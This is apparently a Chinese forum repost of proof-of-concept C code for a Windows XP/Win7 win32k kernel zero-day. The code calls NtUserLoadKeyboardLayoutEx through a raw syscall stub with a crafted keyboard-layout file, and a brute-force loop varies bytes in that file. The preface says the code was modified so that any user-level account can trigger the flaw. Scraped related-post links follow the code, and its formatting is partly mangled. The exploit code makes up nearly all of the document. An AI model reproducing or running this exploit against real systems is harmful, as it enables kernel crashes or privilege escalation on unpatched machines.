xp/win7 win32k kernel 0day
目前还是ODay,转自DEBUGMAN
老外今天公布的,改了一下XP的可以支持任意权限用户触发
建立一个名为1123的user权限用户运行可触发~
(不是老外,翰海源的instruder公布的。
XP下没对文件句柄做任何检测,所以 lpLayoutFile 只要是任何一个可以写入的地址都可以。
win7里面还会限定这个句柄只能是windows/system32下的文件。)
// poc.cpp :
//#include "stdafx.h"#include <windows.h>
#include <stdio.h>
#include <ntsecapi.h>#pragma comment(lib,"User32.lib")#define MAGIC_OFFSET 0x6261
#define WIN7 0
#define InitializeUnicodeStr(p,s) { \(p)->Length= wcslen(s)*2; \(p)->MaximumLength = wcslen(s)*2+2; \(p)->Buffer = s; \
}
#if WIN7_declspec(naked) HKL __stdcall NtUserLoadKeyboardLayoutEx
(IN HANDLE Handle,IN DWORD offTablelow,IN DWORD offTableHigh,IN PUNICODE_STRING puszKeyboardName,IN HKL hKL,IN PUNICODE_STRING puszKLID,IN DWORD dwKLID,IN UINT Flags)
{__asm{mov eax,11E3hmov edx, 7ffe0300hcall dword ptr [edx]ret 20h}
}
#else
_declspec(naked) HKL __stdcall NtUserLoadKeyboardLayoutEx
(IN HANDLE Handle,IN DWORD offTable,IN PUNICODE_STRING puszKeyboardName,IN HKL hKL,IN PUNICODE_STRING puszKLID,IN DWORD dwKLID,IN UINT Flags)
{__asm{mov eax, 000011c6hmov edx, 7ffe0300hcall dword ptr [edx]retn 1Ch}
}
#endifunsigned char fakeDll2[]="\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x35\x44\x01"//0x40 00 00 00 base=fdbbca98 fdbbca00 02443500
"\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"//
"\x00\x00\x00\x00\xE0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x2E\x64\x61\x74\x61\x00\x00\x00"
"\xE6\x00\x00\x00\x60\x01\x00\x00\xE6\x00\x00\x00\x60\x01\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\xFF\xFF\x00\x00\x9E\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"//crash?? 94 10
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\xA6\x01\x00\x00\xAA\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x9C\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x01\x00\x00\x00\xC2\x01\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"//index
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00";;
UNICODE_STRING uStr;
UNICODE_STRING uKerbordname;VOID boom_loadlayout()
{KEYBDINPUT kb={0};INPUT vInput={0};HANDLE hFile;DWORD dwFuckS0ny;HKL hKbd;WCHAR lpPath[MAX_PATH]={0};WCHAR lpLayoutFile[MAX_PATH]={L"C:\\DOCUME~1\\1123\\LOCALS~1\\Temp\\lSp0wns.boom111"};LPVOID lpShellPtr;hFile = CreateFileW(lpLayoutFile,GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ|FILE_SHARE_WRITE,0,CREATE_ALWAYS,0,0);if( hFile == INVALID_HANDLE_VALUE ){printf(" \n[!!] Error:errorcode:%x\n",GetLastError());return ; }WriteFile( hFile,fakeDll2,sizeof(fakeDll2)-1,&dwFuckS0ny,NULL);CloseHandle(hFile);hFile = CreateFileW (lpLayoutFile,GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,0,0);if( hFile == INVALID_HANDLE_VALUE ){printf(" \n[!!] Error\n");return ; }hKbd = GetKeyboardLayout( GetWindowThreadProcessId( GetForegroundWindow(), &dwFuckS0ny ) );printf("\n[+] Loading it...[ 0x%x ]\n", NtUserLoadKeyboardLayoutEx( hFile, 0x0160,&uKerbordname, hKbd, &uStr, 0x666, 0x101 ) );// 0x101/*HKL NTAPI NtUserLoadKeyboardLayoutEx ( IN HANDLE Handle,IN DWORD offTable,IN PUNICODE_STRING puszKeyboardName,IN HKL hKL,IN PUNICODE_STRING puszKLID,IN DWORD dwKLID,IN UINT Flags ) */CloseHandle(hFile);//printf("\n[+] Done\n");
}
int main(int argc, CHAR* argv[])
{LoadLibraryA("user32.dll");InitializeUnicodeStr(&uStr,L"p3d.dll");//???ú±?D?D?óú3¤?è//fix by instruderInitializeUnicodeStr(&uKerbordname,L"A");uKerbordname.MaximumLength=0;for (int j=0;j<=2;j++){for (int i1=0;i1<=0xff;i1++){for (int i2=0;i2<0xff;i2++){printf("%x,%x\n",i1,i2);fakeDll2[0x3d]=i1;fakeDll2[0x3e]=i2;fakeDll2[0x3f]=j;boom_loadlayout();}}}return 0;
}//
xp/win7 win32k kernel 0day相关推荐
- linux拓实n87驱动下载,拓实n87网卡驱动for xp/win7官方版
拓实n87网卡驱动for xp/win7官方版是一个十分强大的网卡驱动管理软件,拓实n87网卡驱动for xp/win7官方版是ts N87高增益全向无线USB网卡驱动程序,拓实n87全面支持移动cm ...
- 发现一个工具,可以清除 xp win7 用户密码,在PE下运行
发现一个工具,可以清除 xp win7 用户密码,在PE下运行 原版,不是这个,现在都是汉化版,加几个字. 真正的原版,早在几年前就有了.我不记得了. 以前没有这个习惯,写技术日记,记录下来. 现在开 ...
- C# winform程序免安装.net framework在XP/win7/win10环境运行
前文: 首先感谢群里的大神宇内流云 提供的anyexec for windows版本. 经过本人搭建虚拟机在xp环境 使用anyexec运行winfrom程序后,测试通过,如下是用的xp运行winfr ...
- XP+WIN7双系统安装,备份,启动菜单修复
XP+WIN7双系统安装,备份,启动菜单修复 安了一个双系统,把经历与大家分享. 一, 硬盘分区安排准备. 1,我用的是500G硬盘,为了安双系统,计划这样安排.C盘安XP,D盘安WIN ...
- 石器时代服务器端支持WIN10,经典石器时代v9.0端(XP.WIN7)架设成功+客户端+架设录像...
经典石器时代v9.0端(XP.WIN7)架设成功+客户端+架设录像 =========以下是服务器出错原因========= 标准信息: 11 主 函 数: CHAR_Loop 在线人数: 0 最高在 ...
- linux安装xp系统安装教程视频教程,Linux系统怎么安装Win7?Linux下安装XP/WIN7系统图文详细教程...
Linux是一个基于POSIX和UNIX的多用户.多任务.支持多线程和多CPU的操作系统.但是很多电脑用户还是习惯操作windows系统,这时候有些Linux系统用户就会选择在这系统基础上安装XP或W ...
- u盘启动安装xp/win7系统详解
U盘启动安装XP\Win7系统图解 只要安装过操作系统的人,都会对光盘安装系统有所了解.但随着UD启动盘的普及,有必要深入掌握U盘安装操作系统的相关知识. 常用的操作系统有Windows XP和Win ...
- 【转】GHOST XP﹢WIN7装双系统图解教程
http://blog.163.com/js4461751@126/blog/static/23655888201002410833963/GHOST XP﹢WIN7装双系统图解教程 技术文档 201 ...
- MFC对话框美化使其具有xp/win7风格
原先本来调试好好的,后来不知道怎么地,有些调试错误,网上查了说要删除什么文件再重来,后来调试是正确了,但风格变成了最原始的风格,那按键丑得就不说了,还难看. 首先在RES目录下建一个文件,命名 win ...
最新文章
- 官司一打 20 年,Linux 抄袭 Unix 终有定论,原告被 “ 熬死 ” 、IBM赔了上亿
- catboost是什么?相对于xgboost以及lightgbm有什么优势?如何使用randomSearchCV和Catboost进行组合获取最优参数组合?
- redis的hash操作在集中式session中的应用
- Ubuntu/Fedora 编译内核教程
- hackerrank---Sets - Symmetric Difference
- English sentences
- 2020 Jiangsu Collegiate Programming Contest
- 七步从Angular.JS菜鸟到专家(2):Scopes
- 使用python下载加密的流媒体m3u8视频文件,获取电影资源
- No.4 Linux用户、组的创建、修改和权限的修改
- java quartz配置
- 正点原子STM32F103学习笔记(二)
- 学计算机没有女朋友绕口令,十句以上绕口令
- 地震数据剖面图-matlab
- 南卡的电容笔对比倍思哪个好?南卡和倍思电容笔测评
- 时光飞逝,思考,实践,伴我一生的经验
- microbit python积木编程_TurnipBit—MicroPython开发板:从积木式编程语言开始学做小小创客...
- Linux云计算之OpenStack(Keyston - 认证服务)
- 华为设备DHCP配置命令
- 区块链学习到底学什么?需要去区块链培训机构吗?